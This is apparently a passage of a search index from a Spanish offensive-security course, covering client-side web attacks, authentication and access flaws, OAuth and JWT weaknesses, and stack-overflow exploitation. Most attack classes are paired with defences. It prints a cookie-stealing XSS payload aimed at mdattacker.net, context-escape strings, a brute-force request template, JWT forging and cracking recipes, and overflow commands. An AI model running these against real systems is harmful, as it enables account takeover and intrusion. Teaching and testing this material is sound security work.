una página o dispara una acción es un punto de entrada a probar.\nflowchart TD ATK[\"Atacante quiere\\ncomprometer a OTRO usuario\"] --\u003e Q1{\"¿Puedo ejecutar\\nmi código en su origen?\"} Q1 --\u003e|\"sí — reflejo / almacenamiento / sink DOM\"| XSS[\"XSS\\n(hereda el contexto del origen:\\ncookies, acciones, la página)\"] Q1 --\u003e|\"no, pero puedo forzar una acción\"| Q2{\"¿La acción sensible\\ndepende solo de la cookie?\"} Q2 --\u003e|\"sí\"| CSRF[\"Request forgery\\n(CSRF / OSRF)\"] Q2 --\u003e|\"con anti-CSRF token\"| UIR[\"Clickjacking\\n(el token se procesa normal)\"] XSS --\u003e DEF[\"Defensa transversal:\\noutput-encoding · anti-CSRF token ·\\naislar el origen (CSP / SameSite / XFO)\"] CSRF --\u003e DEF UIR --\u003e DEFXSS: ejecutar código en el contexto ajeno El cross-site scripting (XSS) es la vulnerabilidad web más común y el arquetipo del ataque contra otros usuarios. El defecto es simple: la aplicación toma un dato controlado por el atacante y lo devuelve dentro de una página sin neutralizar su sintaxis, de modo que el navegador de la víctima lo interpreta como código —HTML o JavaScript— y lo ejecuta. Que ese código corra en el contexto del origen vulnerable es lo que lo hace grave, y la razón está en la propia same-origin policy: las cookies de un dominio solo las puede leer código servido por ese dominio. Un script alojado en mdattacker.net no puede tocar las cookies de mdsec.net; pero un script que mdsec.net refleja de vuelta al navegador se ejecuta como si mdsec.net lo hubiera escrito, y entonces sí las lee. De ahí el nombre: el script es “cross-site”, viene de otro sitio, pero corre con la identidad del sitio víctima.\nLas tres variedades Difieren solo en cómo llega el script hasta la página de la víctima:\nReflected (reflejado, ~75% de los casos): el input viaja en un request y la aplicación lo devuelve en la respuesta inmediata, sin guardarlo. Una página de error como ?message=\u003cscript\u003ealert(1)\u003c/script\u003e que imprime el parámetro sin codificar. El payload va y vuelve en un solo intercambio (first-order), así que la explotación requiere que la víctima siga un enlace preparado por el atacante. Stored (almacenado, second-order): el input de un usuario se guarda en el servidor —un comentario, un nombre de perfil, una entrada de log— y se sirve a otros usuarios más tarde. Es más grave: la víctima ya está usando la aplicación cuando el payload dispara, con sesión activa y a menudo autenticada. Un comentario con \u003cscript\u003e que un administrador lee desde su panel compromete la cuenta más poderosa del sistema sin que el atacante tenga que engañar a nadie para que siga un enlace. DOM-based: el servidor devuelve HTML estático y limpio; es el JavaScript del propio cliente el que lee un dato de la URL (document.location, document.URL, location.hash) y lo escribe en la página a través de un sink peligroso (document.write, innerHTML, eval). El payload nunca aparece en la respuesta del servidor, y si va tras el # (el fragment) el navegador ni siquiera lo envía al servidor —lo que evade cualquier filtro del lado servidor de un solo golpe—. Qué se logra (más allá de robar la sesión) El payload clásico exfiltra el token de sesión a un servidor del atacante:\n$ \u003cscript\u003enew Image().src=\"https://mdattacker.net/?c=\"+document.cookie;\u003c/script\u003e ⧉ copiar Con esa cookie, el atacante reingresa como la víctima (el session hijacking de la gestión de sesión que se trata en 3.4 · Autenticación, sesión y acceso). Pero el robo de sesión es apenas la superficie. Un XSS bien explotado puede:\nReescribir la página que la víctima ve (virtual defacement): inyectar contenido engañoso sin tocar el servidor —un falso comunicado, un precio alterado—. Montar un login falso troyanizado: reemplazar el formulario real por uno que manda las credenciales al atacante y luego loguea a la víctima en la aplicación auténtica, sin que note nada. La URL es la del dominio real, con su certificado válido: infinitamente más creíble que un phishing clonado. Inducir acciones “como” la víctima: el propio script realiza operaciones en su nombre. El worm Samy de MySpace (2005) se agregaba como amigo y se copiaba al perfil de cada víctima que veía un perfil infectado; alcanzó un millón de perfiles en menos de un día. La misma técnica sirve para escalar privilegios sin saber quién es administrador: inducir a todos a intentar otorgarle permisos al atacante, y cuando el que cae es un admin, se gana. Abusar relaciones de confianza del navegador: en zonas de confianza mal configuradas (la Trusted Sites de IE), un XSS podía instanciar new ActiveXObject('WScript.Shell').Run('calc.exe') y saltar del navegador a la ejecución de comandos en la máquina. Un XSS “de bajo impacto” rara vez lo es. Un stored XSS “solo visible para uno mismo”, combinado con un control de acceso roto que deja editar el perfil ajeno (ver 3.4), se convierte en la toma de la aplicación entera. La gravedad de un XSS no se mide en aislamiento, sino por lo que encadena. Detección: por contexto sintáctico, no por firma El proof-of-concept rápido —lanzar \"\u003e\u003cscript\u003ealert(1)\u003c/script\u003e a cada parámetro— encuentra alguno pero pierde muchos. El método completo es sistemático: enviar una cadena alfabética única y benigna a cada punto de entrada, localizar cada reflexión en la respuesta, y determinar el contexto sintáctico exacto de cada una, porque el payload que funciona depende de dónde cae el dato:\nContexto de la reflexión Ejemplo Escape típico Texto entre etiquetas \u003cdiv\u003eX\u003c/div\u003e \u003cscript\u003ealert(1)\u003c/script\u003e Valor de atributo \u003cinput value=\"X\"\u003e \"\u003e\u003cscript\u003e… (cerrar el tag) o \" onfocus=\"alert(1) (inyectar handler sin salir) Dentro de una cadena JavaScript var a='X' '; alert(1); // Atributo que espera una URL \u003ca href=\"X\"\u003e javascript:alert(1) La reflexión h","section":"P3 · Explotación y Red Team","summary":"La familia de ataques del lado cliente bajo una sola tesis: la vulnerabilidad vive en la aplicación pero la víctima es otro usuario, y todos explotan la confianza que el navegador deposita en el origen. Dos ejes — ejecutar código del atacante en el contexto de la víctima (XSS: reflected, stored, DOM, y el arsenal completo de bypass de filtros) y forzar acciones en su sesión sin robar el token (CSRF/OSRF, clickjacking, captura de datos cross-domain, header injection, session fixation, open redirect) — con la defensa transversal que las niega: output-encoding, anti-CSRF token atado a la sesión, y aislar el origen.","tags":["web","xss","csrf","clickjacking","cors","waf-bypass","purple-team"],"title":"3.3 · Web II — Cliente: atacar al otro usuario","url":"/speculum/p3-red-team/3-3-web-cliente/"},{"content":"Panorama Los dos capítulos web anteriores atacan en direcciones opuestas: la inyección rompe el contexto de datos del servidor (ver 3.2 · Inyección), y la familia del lado cliente usa la sesión de otro usuario como ariete (ver 3.3 · Cliente). Este mira al corazón de la aplicación: la maquinaria con la que decide quién es cada visitante y qué le permite hacer. No hay un intérprete que engañar ni una víctima externa; el objetivo es la lógica de identidad de la propia aplicación, la que le concede a un usuario una sesión y la arrastra de un request al siguiente.\nBajo la variedad de técnicas hay una sola idea: en cada request, una aplicación responde tres preguntas encadenadas, y cada respuesta descansa en la anterior.\n¿Quién es? — la autenticación establece la identidad una vez, en el login. ¿Sigue siendo el mismo? — la gestión de sesión transporta esa identidad a través de un protocolo (HTTP) que es stateless y no recuerda nada por sí mismo. ¿Puede hacer esto? — el control de acceso verifica, en cada acción, que la identidad establecida tiene permiso para lo que pide. Son eslabones de una cadena, no defensas paralelas. Una gestión de sesión rota saltea la autenticación más robusta: si el atacante secuestra el token, nunca necesita la contraseña. Un control de acceso roto desperdicia las dos: la app sabe perfectamente quién es el usuario y aun así lo deja tocar lo ajeno. Por eso invertir en un login fuerte y descuidar el control de acceso es tirar el esfuerzo; la cadena cede por su eslabón más débil.\nSobre esos tres eslabones corre un cuarto elemento que no es un eslabón sino el tejido conectivo: la lógica de negocio. Los logic flaws no tienen firma —no hay un \u003cscript\u003e ni una comilla que buscar— y cada uno es único, pero todos nacen de la misma raíz: el usuario controla cada aspecto de cada request. Puede cambiar un valor, mandar un parámetro que no le pidieron, y —lo que más se olvida— omitir un parámetro. Cada asunción que el desarrollador hace sobre lo que el cliente “va a mandar” es una asunción que el atacante puede violar, y ahí es donde los tres eslabones se rompen en la práctica.\nflowchart LR REQ[\"Request del usuario\\n(controla cada aspecto)\"] --\u003e A{\"¿Quién es?\"} A --\u003e|\"autenticación\"| S{\"¿Sigue\\nsiendo el mismo?\"} S --\u003e|\"gestión de sesión\"| AC{\"¿Puede\\nhacer esto?\"} AC --\u003e|\"control de acceso\"| OK[\"Acción ejecutada\"] A -.-\u003e|\"brute-force · enumeración ·\\nfail-open · multistage\"| BREAK[\"Eslabón roto →\\ncompromiso\"] S -.-\u003e|\"token con significado /\\npredecible · secuestro · fixation\"| BREAK AC -.-\u003e|\"IDOR · método HTTP ·\\nadmin=true · multietapa\"| BREAK LOGIC[\"Logic flaw\\n(asunción violada)\"] -.-\u003e A LOGIC -.-\u003e S LOGIC -.-\u003e ACLas cuatro secciones que siguen recorren los eslabones en orden y cierran con la lente púrpura que los une: la detección es difícil justamente porque estos requests parecen legítimos —vienen autenticados y bien formados—, así que la defensa primaria es estructural y la telemetría caza patrones de negocio, no firmas de ataque. Todo se apoya en el mapa de superficie de 3.1 · Metodología: cada función de identidad, cada parámetro que fija un privilegio y cada identificador de recurso es un punto a probar.\nAutenticación: el eslabón más débil La autenticación es la primera línea de defensa y, en aplicaciones reales, el eslabón que más cae. Es alcanzable de forma anónima y, si se rompe, suele entregar el control completo. La metodología tiene un lema que resume todo: mirar en todos lados. El login principal es solo una de las superficies; el defecto que se evita ahí reaparece en el registro, el cambio de contraseña, el remember me, la recuperación y la impersonación.\nDefectos de diseño Brute-force del login. Se explota distinguiendo el éxito del fracaso —por el código HTTP, la longitud de la respuesta o la ausencia del mensaje “login incorrect”— y ordenando el ataque para no dispararse el bloqueo de cuenta. Contra varios usuarios, la clave es atacar en anchura (breadth-first): iterar la lista de contraseñas (las más comunes primero) probando cada una sobre todos los usernames, en vez de agotar un usuario antes de pasar al siguiente. Encuentra las cuentas de contraseña común más rápido y espacia los intentos por cuenta, evitando el lockout. Si el contador de fallos vive en el cliente (una cookie failedlogins=1) se saltea sin más; si vive en la sesión, basta pedir una sesión fresca. Y aun con lockout, si la app responde distinto a la contraseña correcta sobre una cuenta bloqueada, la adivinación continúa: se descubre el par válido y se espera el auto-unlock.\nEnumeración de usuarios. Un mensaje verboso (“usuario inexistente” vs “contraseña incorrecta”) convierte el login en un oráculo: un ataque automatizado marca los usernames válidos de una lista. Aparece también en el registro (si rechaza duplicados, revela los existentes), el cambio de contraseña y la recuperación. Aun con mensajes “idénticos” puede haber diferencias sutiles —de status HTTP, de tipografía, escondidas en comentarios del HTML— que Burp Comparer resalta. Y aunque las respuestas sean idénticas byte a byte, el tiempo delata: un username válido dispara procesamiento back-end (lookup en base de datos, cálculo de hash) que uno inválido no.\nUna lista corta y precisa vale más que una masiva: 100 usernames con ~50% de válidos por timing rinde más que 10.000 con 0,5%. La enumeración no es un fin, es el insumo que alimenta el brute-force, la cosecha de credenciales del control de acceso, y el password spraying contra el directorio (ver 4.1 · Reconocimiento de AD). Transmisión insegura de credenciales. Más allá del HTTP plano que un eavesdropper intercepta, las credenciales se filtran por vías que sobreviven a HTTPS: en el query string (quedan en el historial del navegador y los logs de servidor y proxies), en cookies replayables, o —el caso más sutil— cuando la página de login se carga por HTTP y solo cambia a HTTPS al enviar el formulario. Un atacante posicionado modifica el destino del formulario a HTTP antes de que la víctima escriba nada; el usuario no puede verificar la autenticidad de una página que llegó sin cifrar. Lo correcto es servir el formulario de login ya por HTTPS.\nLas funciones periféricas reintroducen todo El error recurrente: la vulnerabilidad evitada con cuidado en el login principal reaparece, sin vigilancia, en las funciones de alrededor.\nCambio de contraseña: a menudo accesible sin autenticar, con mensaje verboso de username y adivinación ilimitada de la “contraseña actual”. Si el formulario autenticado no tiene campo username, se puede inyectar uno con el mismo nombre que en el login para pisar la identidad de la sesión y brute-forcear a otro usuario.\nPOST /changePassword username=victima\u0026existingPassword=§FUZZ§\u0026newPassword=x\u0026confirm=x ⧉ copiar Recuperación de contraseña olvidada: suele ser el eslabón más débil de todos. El desafío secundario (apellido materno, color favorito) tiene un espacio de respuestas mucho menor que una contraseña y es información pública o auto-elegida y trivial; los hints son peor. Y el mecanismo de re-acceso falla de varias formas: revelar la contraseña vieja (acceso indefinido, sin detección), dejar caer directo a una sesión autenticada, o enviar la URL de reset a un email que viene en un campo oculto modificable (cambiarlo por el del atacante). Las recovery URL con patrón se predicen registrando varias cuentas seguidas y observando la secuencia.\n“Remember me”: la variante ingenua guarda RememberUser=daf (el username en claro) en una cookie persistente y crea sesión sin login —con una lista de usernames se entra a cualquier cuenta—. Aun cuando guarda un identificador de sesión persistente, es atacable si el identificador es predecible, y siempre lo roba un XSS (ver 3.3 · Cliente).\nImpersonación (típica en helpdesk de banca): falla si es una función “oculta” sin control de acceso (/admin/ImpersonateUser.jsp), si confía en un dato controlable (una cookie que dice qué cuenta usa la sesión), o si se implementa como un backdoor pass","section":"P3 · Explotación y Red Team","summary":"La cadena de identidad de una aplicación web bajo una sola tesis: en cada request la app responde tres preguntas encadenadas —¿quién es? (autenticación), ¿sigue siendo el mismo? (gestión de sesión), ¿puede hacer esto? (control de acceso)— y romper el eslabón más débil colapsa el resto. Sobre esos tres, la lógica de negocio es el tejido conectivo que falla cuando el desarrollador asume algo que el usuario controla. Recorre el brute-force y la enumeración de usuarios, los tokens con significado/predecibles/cifrados y su secuestro, el IDOR y el bypass por método HTTP, y los logic flaws sin firma, cada uno con la defensa que lo niega: respuestas genéricas, tokens sin significado desde un CSPRNG, un componente central default-deny, y decidir toda identidad desde la sesión.","tags":["web","autenticacion","gestion-sesion","control-acceso","idor","logica-negocio","purple-team"],"title":"3.4 · Web III — Autenticación, sesión, acceso y lógica","url":"/speculum/p3-red-team/3-4-web-auth-acceso/"},{"content":"Panorama Los tres capítulos web anteriores atacan el web clásico que documentó The Web Application Hacker’s Handbook en 2011: una aplicación monolítica, un navegador, un servidor, y una same-origin policy que aísla un sitio de otro. Ese modelo tenía fronteras de confianza nítidas —el login separa anónimo de autenticado, el origen separa un dominio de otro, el intérprete separa dato de código—, y las clases de 3.2 a 3.4 son maneras de romperlas. Pero el web dejó de ser monolítico. Las aplicaciones modernas delegan la identidad a un tercero, descentralizan el estado en tokens autocontenidos, hablan cross-origin por diseño, empujan lógica y datos al cliente, y procesan input rico a través de motores muy potentes.\nBajo la variedad de clases de este capítulo hay una sola idea: cada comodidad del web moderno reubica una frontera de confianza, y la vulnerabilidad vive en la frontera que se dejó de validar. Donde antes la aplicación validaba, ahora hay un límite nuevo —y a menudo nadie lo custodia—. Las clases se agrupan en dos familias que son los sucesores directos de los capítulos previos:\nIdentidad y confianza delegadas (el sucesor de 3.3 y 3.4). La app ya no autentica ni guarda la sesión por sí sola: delega el login a Google o Facebook (OAuth), lleva el estado en un token autocontenido que el servidor no recuerda (JWT), y abre el origen para conversar con otros dominios (CORS, postMessage, WebSockets). Cada delegación crea una frontera nueva —el redirect_uri, la firma del token, el Origin— que es el punto exacto del ataque. Input rico y motores potentes (el sucesor de 3.2). La misma tesis de la inyección —romper la frontera entre dato y código— pero el intérprete ya no es una base de datos SQL: es un motor de plantillas (SSTI), un deserializador (object injection), un parser de archivos (file upload) o el propio stack HTTP del servidor convertido en cliente (SSRF). El resultado, casi siempre, es RCE directo en el servidor. flowchart TD MOD[\"Web moderno:\\ncada comodidad mueve\\nuna frontera de confianza\"] --\u003e F1[\"Familia A —\\nidentidad/confianza delegada\"] MOD --\u003e F2[\"Familia B —\\ninput rico a motores potentes\"] F1 --\u003e OAUTH[\"OAuth: frontera = redirect_uri\"] F1 --\u003e JWT[\"JWT: frontera = la firma\"] F1 --\u003e CORS[\"CORS / postMessage / WS:\\nfrontera = el Origin\"] F2 --\u003e SSTI[\"SSTI: motor de plantillas\"] F2 --\u003e DESER[\"Deserialización: unserialize()\"] F2 --\u003e UP[\"File upload: parser de archivos\"] F2 --\u003e SSRF[\"SSRF: el server como cliente HTTP\"] OAUTH --\u003e ATO[\"Account takeover\\n/ robo de token\"] JWT --\u003e ATO CORS --\u003e ATO SSTI --\u003e RCE[\"RCE server-side\"] DESER --\u003e RCE UP --\u003e RCE SSRF --\u003e RCEEl capítulo recorre las dos familias y cierra con la lente púrpura que las une. Todo se apoya en el mapa de superficie de 3.1 · Metodología: cada botón de “iniciar sesión con Google”, cada token en Authorization: Bearer, cada campo que acepta un URL o un archivo, y cada postMessage en el JavaScript del cliente es una frontera a probar.\nFamilia A · Identidad delegada: OAuth 2.0 OAuth 2.0 (RFC 6749) resuelve un problema real del modelo clásico: para que una app de un tercero acceda a los datos de un usuario, antes había que darle la contraseña —que podía guardarla en claro, obtenía acceso total y no selectivo, y no había forma de revocarle acceso a uno sin revocárselo a todos—. OAuth lo reemplaza con cuatro roles: el resource owner (el usuario), el client (la app del tercero, con un client_id público y un client_secret privado), el resource server (donde viven los datos, protegidos por un access token) y el authorization server (que emite el token). El usuario concede a la app un acceso definido por scope, sin entregar su contraseña.\nLa frontera de confianza es el redirect_uri: la URI pre-configurada a la que el authorization server redirige al terminar el flow, entregando el token o el código. Robar esa redirección es robar el token. Y lo que la hace tan potente es una comodidad del protocolo: una vez que el usuario concedió acceso a una app, el authorization server no vuelve a mostrar el prompt de consentimiento en reintentos del client (salvo que cambien los scopes). Así, si se logra que el servidor acepte un redirect_uri controlado por el atacante para un client popular con muchos scopes ya concedidos, el token llega solo, sin interacción de la víctima.\nHay dos grants. El authorization code (response_type=code) devuelve un code que se cambia server-side por el token en un POST que incluye el client_secret (token = code + client_id + client_secret + redirect_uri). El implicit (response_type=token) devuelve el token directo en el fragmento de la URL (redirect_uri#access_token=...), sin secret —lo que lo hace más frágil: robar la redirección entrega el token sin que falte ningún secreto—.\nLas derrotas del redirect_uri Open redirect por grant link malformado. Un grant link con valores basura en scope o client_id hace que algunos authorization servers, en vez de mostrar el error en su propio dominio, redirijan al redirect_uri con parámetros de error. Es un open redirect encubierto que se dispara desde un dominio confiable (api.trusted.com) hacia el del atacante —LinkedIn era vulnerable—. Hijack del redirect_uri. Si la app permite solo http://example.com/token/callback, hay trucos para colar uno propio: directory traversal (.../callback/../../our/path, con encoding y CRLF para evadir el chequeo), naked domain (si el permitido es el dominio pelado, algunas implementaciones aceptan subdominios → controlledsub.example.com), y TLD suffix confusion (dejar el dominio intacto y agregar un sufijo válido: example.com → example.com.mx; hallado en Instagram y Slack). Covert Redirect. Si el dominio permitido tiene un open redirect propio (/exit/redirect.php?u=...), se usa como redirect_uri: pasa la validación —es el dominio permitido— pero reenvía el token al atacante por un 302. Especialmente potente en implicit grant. Force-install por clickjacking. Como conceder es solo clickear “allow”, si el grant prompt no trae X-Frame-Options, el clickjacking de 3.3 fuerza ese clic y concede scopes arbitrarios sin que el usuario lo note. OAuth mal implementado es “el login con Google/Facebook roto”: es el eslabón de autenticación de 3.4 delegado a un tercero. El account takeover no requiere tocar la contraseña de la víctima —basta que el authorization server emita un token hacia un redirect_uri controlado—. Familia A · Estado autocontenido: JWT El JWT (JSON Web Token) lleva la sesión al extremo del token con significado de 3.4: en vez de un identificador opaco que apunta a un estado server-side, el token contiene el estado. Son tres partes base64url separadas por puntos: header.payload.signature. El header declara el alg (algoritmo de firma), el payload lleva los claims que la app usa para autorizar (username, isAdmin, exp), y la firma se calcula hasheando header.payload con una clave. Como el payload es solo base64url —codificado, no cifrado—, cualquiera lo lee y lo modifica; cambiar \"isAdmin\":false a true es trivial. La firma es la única barrera, y todos los ataques apuntan a ella:\nFirma no verificada. La app usa el decode()/unverified de la librería en vez de verify(): se modifican los claims sin re-firmar y el token pasa. alg:none. La especificación admite tokens unsecured con \"alg\":\"none\" y firma vacía (el token termina en un punto). Si la app respeta el alg del header sin whitelist, acepta un token sin firma con \"isAdmin\":true. El filtro que rechaza none se evade con variaciones de caso (NoNe, nOnE). Secreto HMAC débil. Si usa HS256 con un secreto por defecto o de tutorial (secret, changeme), se crackea offline: el atacante tiene header.payload y la firma, y prueba candidatos hasta que el HMAC coincida (hashcat -m 16500, jwt_tool -C). Con el secreto, firma cualquier token. Inyección de clave en el header (jwk/jku/kid). El jwk embebe la clave pública propia en el header → el atacante firma con su privada y el server verifica con la embebida. El jku apunta a un JWK Set en un dominio del atacante (whit","section":"P3 · Explotación y Red Team","summary":"El capítulo que cierra el bloque web con las clases que WAHH 2011 no conocía, bajo una sola tesis: cada comodidad del web moderno reubica una frontera de confianza, y la vulnerabilidad vive en la frontera que dejó de validarse. Dos familias que espejan los capítulos previos — identidad y confianza delegadas (OAuth y su redirect_uri, JWT y su firma, CORS/postMessage/WebSockets y su origen abierto por diseño) e input rico procesado por motores potentes (SSTI, deserialización/POP chains, file upload y SSRF, todos con salida a RCE server-side) — más la seguridad de API (REST y GraphQL, con la OWASP API Top 10 dominada por la autorización rota a nivel de objeto y de función: la IDOR de 3.4 multiplicada por endpoint). Cada clase con la defensa que reconstruye la frontera: matching exacto del redirect_uri y PKCE, fijar el algoritmo del token, validar el origen con whitelist exacta, separar dato de motor, y autorizar objeto por objeto en cada endpoint.","tags":["web","oauth","jwt","ssti","ssrf","deserializacion","api","graphql","purple-team"],"title":"3.5 · Web IV — Moderno: OAuth, JWT, deserialización, SSTI, SSRF y API","url":"/speculum/p3-red-team/3-5-web-moderno/"},{"content":"Panorama Este capítulo arma desde cero el ataque que fundó toda una disciplina: el stack-based buffer overflow —desbordamiento de un buffer en la pila— sobre Linux x86 de 32 bits. Se lo estudia con las mitigaciones modernas desactivadas a propósito (gcc -fno-stack-protector, ASLR apagado), no porque así se explote hoy, sino porque aislar el mecanismo es la única forma de entenderlo. Con esa base, el capítulo que sigue muestra qué técnica nueva obliga cada defensa cuando se la vuelve a encender.\nLa idea central se enuncia en una línea: la vulnerabilidad no está en el desbordamiento, sino en el return pointer guardado que la pila saca al retornar de la función. Un strcpy() sin verificación de tamaño escribe más allá de su buffer local y pisa esa dirección de retorno; controlarla es controlar la próxima instrucción que ejecuta el procesador. Sobre eso se construye el resto: hallar el offset exacto con un proceso repetible, y entregar un payload —el shellcode— que sobreviva el viaje por una función de cadena y sea fácil de aterrizar.\nEl capítulo tiene dos mitades que se corresponden con sus dos fuentes. La primera es la mecánica del overflow: la pila, el ciclo de llamada a función, la firma 0x41414141, el bit SUID como multiplicador de privilegio, y el andamiaje de seis pasos que convierte la prueba y error en método. La segunda es cómo se fabrica el payload a mano: escribir shellcode en ensamblador, por qué no puede contener un solo byte nulo, y las dos plantillas de red —port-binding y connect-back— que entregan una shell remota. Todo esto asume las protecciones apagadas; cuando se reactivan, el arco continúa en 3.7 · Format strings, ret2libc y ROP y con la profundidad de Linux moderno en 3.15 · Exploit-dev Linux avanzado.\nflowchart TD A[\"strcpy() sin bounds-check\\nbuffer local desbordado\"] --\u003e B[\"Se pisa el return pointer\\nguardado en la pila\"] B --\u003e C{\"¿Qué se escribe encima?\"} C --\u003e|\"'AAAA…'\"| D[\"EIP = 0x41414141\\nsegfault: control demostrado\"] C --\u003e|\"payload diseñado\"| E[\"NOP sled + shellcode\\n+ return address al sled\"] E --\u003e F{\"¿El binario es SUID root?\"} F --\u003e|\"no\"| G[\"Shell con el privilegio\\ndel proceso\"] F --\u003e|\"sí\"| H[\"Shell root\\n(privesc local)\"] E --\u003e I[\"…o servicio de red:\\nconnect-back → shell remota\"]La pila y el ciclo de función: dónde vive el objetivo La stack (pila) es una estructura FILO —first in, last out— privada de cada proceso, que crece de las direcciones altas a las bajas: cada dato nuevo se apila en una dirección menor que el anterior. La gobiernan dos registros. EBP (base pointer) marca la base del stack frame de la función en curso, en una dirección alta; ESP (stack pointer) marca el tope de la pila, en la dirección más baja usada. Un tercer registro, EIP (instruction pointer), no vive en la pila pero es el que el ataque persigue: apunta a la próxima instrucción a ejecutar.\nEl punto vulnerable aparece en el ciclo de llamada a función. Cuando el código ejecuta un call, el procesador empuja el EIP —la dirección a la que debe volver cuando la función termine— a la pila; esa copia guardada es el return address. Al entrar, la función corre su prolog (push ebp; mov ebp,esp; sub esp,\u003clocales\u003e): guarda el EBP del llamador, fija el nuevo frame y reserva espacio para sus variables locales. Al salir, corre su epilog (leave; ret): leave restaura la pila del llamador y ret saca de la pila ese EIP guardado y salta a él.\nAhí está todo. Las variables locales —incluido el buffer que se desborda— quedan en direcciones más altas que el EIP guardado dentro del frame. Como la escritura de un buffer avanza hacia direcciones altas mientras la pila creció hacia abajo, desbordar el buffer escribe hacia el return pointer y lo pisa. Cuando la función ejecuta su ret, el procesador saca ese valor corrompido y lo trata como la próxima instrucción.\ndirecciones bajas → ← direcciones altas [ ESP ] [ EBP ] ┌───────────────┬──────────────┬─────────────────┐ │ buffer local │ EBP guardado │ EIP guardado │ ← return address = el objetivo └───────────────┴──────────────┴─────────────────┘ └──── strcpy() escribe en esta dirección ────► pisa el EIP guardado El overflow: de 0x41414141 al control del flujo El caso de estudio canónico es un programa meet.c con un buffer de 400 bytes que copia su argumento con strcpy(). Alimentarlo con 600 caracteres A desborda el buffer, corre por encima del EBP y del EIP guardados, y al retornar la función el procesador intenta ejecutar la dirección 0x41414141 —el hexadecimal de AAAA—. Como esa dirección está fuera del espacio de memoria del proceso, el sistema mata al programa con un segmentation fault. Ese 0x41414141 en el EIP es la firma canónica de un overflow con control del flujo: la prueba de que lo que se escribió en el buffer terminó en el registro de instrucción.\nUn overflow demasiado grande puede fallar por la razón equivocada. Los 600 bytes de meet.c no solo pisan el EIP guardado: corrompen argumentos de las llamadas a printf()/vfprintf() que vienen después del strcpy, y el crash ocurre ahí, no en el ret. La técnica es empezar apenas por encima del buffer (405 bytes) y subir de a poco hasta pisar solo el return pointer (unos 408–412 en este caso). El número exacto es específico del binario; el concepto es lo que se traslada. Vale insistir en un punto contraintuitivo: el segfault es el mejor de los tres desenlaces posibles, no el peor. Un overflow tiene tres ramificaciones. La primera es la denial of service —el crash ruidoso—, que es el resultado benigno porque llama la atención y hace visible el problema. Las otras dos son silenciosas: ejecución de código con el privilegio del proceso, o —en el peor caso— con privilegio root/SYSTEM. Un overflow explotado con éxito no crashea: entrega control. El crash que un desarrollador descubre por casualidad es, paradójicamente, el escenario que lo protege.\n$ ./meet mary $(perl -e 'print \"A\"x600') # 600 A's como argumento # en GDB: el proceso cae ejecutando 0x41414141 — EIP lleno de 'A' echo 0 \u003e /proc/sys/kernel/randomize_va_space # (root) ASLR off, para reproducibilidad id ; whoami # prompt '#' = root, '$' = usuario normal ⧉ copiar SUID: el multiplicador que vuelve root un overflow local Un overflow que entrega una shell con el privilegio del proceso no es interesante si ese proceso ya corre como el atacante. El puente hacia la escalada de privilegios es el bit SUID (Set User ID). Un binario marcado SUID se ejecuta con los privilegios de su dueño, no de quien lo lanza; en ls -l la x del dueño aparece como s (-rwsr-xr-x). Es un mecanismo legítimo y necesario —passwd es SUID root porque debe escribir en /etc/shadow—, pero convierte cada bug de memoria en una palanca: si un binario SUID root es vulnerable, el exploit hereda el privilegio del dueño y una cuenta sin privilegios obtiene una shell root. Este es el enlace directo con la escalada de privilegios local (3.9); el inventario de binarios SUID (find / -perm -4000) es tanto la superficie de ataque como el primer control defensivo.\nEl proceso de exploit-dev de seis pasos meet.c es un juguete donde el offset se adivina. En un objetivo real hay que instrumentar, y para eso existe un proceso repetible de seis pasos que convierte la prueba y error en método:\nControlar el EIP. Enviar una entrada larga y confirmar en el debugger que el EIP se sobrescribe (aparece la firma 0x41…41 o similar). Determinar el/los offset(s). Hallar cuántos bytes preceden exactamente al EIP. Determinar el vector de ataque —la dirección de salto adonde apuntará el return pointer— y el margen para el payload. Construir el exploit. Testear. Debuggear lo que falle y volver. El paso 2 es el que más se beneficia de herramientas. En lugar de contar bytes a mano, se envía una cadena de De Bruijn: una secuencia no repetitiva donde cada subsecuencia de 4 bytes es única. Metasploit la genera con pattern_create y luego, dados los 4 bytes que cayeron en el EIP tras el crash, pattern_offset devuelve la posición exacta. Sobre la app de red ch11_6 (un servicio en el puerto 5","section":"P3 · Explotación y Red Team","summary":"El desbordamiento de pila clásico desde cero: cómo un buffer sin control de tamaño pisa el return pointer guardado y entrega el flujo, el proceso repetible de exploit-dev de seis pasos, y cómo se construye a mano el shellcode que corre después (syscalls, sin bytes nulos, position-independent, bind vs connect-back), con su detección.","tags":["exploit-dev","linux","payload-dev","shellcode","deteccion"],"title":"3.6 · Exploit-dev I — Stack overflows y shellcode","url":"/speculum/p3-red-team/3-6-stack-shellcode/"},{"content":"Panorama El capítulo anterior, 3.6 · Stack overflows y shellcode, armó el desbordamiento clásico con las protecciones desactivadas a propósito, para aislar el mecanismo. Este capítulo las vuelve a encender y muestra qué obliga cada una. La idea que ordena todo es la misma que gobierna el exploit-dev moderno: una mitigación no cierra la explotación, la mueve —encarece la técnica y fuerza una nueva—, y el trabajo consiste en encadenar esos rodeos hasta recuperar el control del flujo.\nEl recorrido tiene una lógica de escalones. Primero, una clase de bug distinta al overflow: el format string, que regala una primitiva de lectura y escritura arbitraria más limpia —y, de paso, la fuga de direcciones que después derrota ASLR—. Segundo, el catálogo de mitigaciones que hoy trae cualquier compilador y sistema operativo, con la cobertura de cada una. Tercero, los bypass: return-to-libc (ret2libc) como primera respuesta a la pila no ejecutable, el Return-Oriented Programming (ROP) como su generalización, y la fuga de direcciones que desmonta ASLR. El capítulo cierra con lo que separa una prueba de concepto de un exploit real: que no tire el servicio y que sobreviva a la inspección.\nDos deslindes con los capítulos vecinos. La profundidad de la explotación de memoria en Linux moderno —los internals de la GOT/PLT, la reparación del stack canary, el ROP sin returns, la explotación de 64 bits— se trata en 3.15 · Exploit-dev Linux avanzado, que extiende este capítulo. Los mecanismos específicos de Windows —el manejo de excepciones SEH, jmp esp con Mona, el patch diffing— van en 3.8 · Exploit-dev en Windows. Aquí se sientan los conceptos base comunes a ambos.\nflowchart LR M1[\"Pila no ejecutable\\n(NX / DEP)\"] --\u003e T1[\"ret2libc → ROP\\nreutilizar código ya mapeado\"] M2[\"ASLR / PIE\\n(direcciones aleatorias)\"] --\u003e T2[\"Fuga de direcciones\\n(format string / memory leak)\"] M3[\"Canario\\n(centinela en la pila)\"] --\u003e T3[\"Leak o reparación\\n(ver 3.15)\"] T2 --\u003e R[\"Exploit fiable moderno:\\ninfo-leak (vs ASLR)\\n+ ROP a VirtualProtect (vs DEP)\\n+ shellcode\"] T1 --\u003e REl bug de format string: dato usado como formato Un format string bug (CWE-134) nace de un error sutil: pasar dato controlado por el usuario directamente como cadena de formato a printf(), 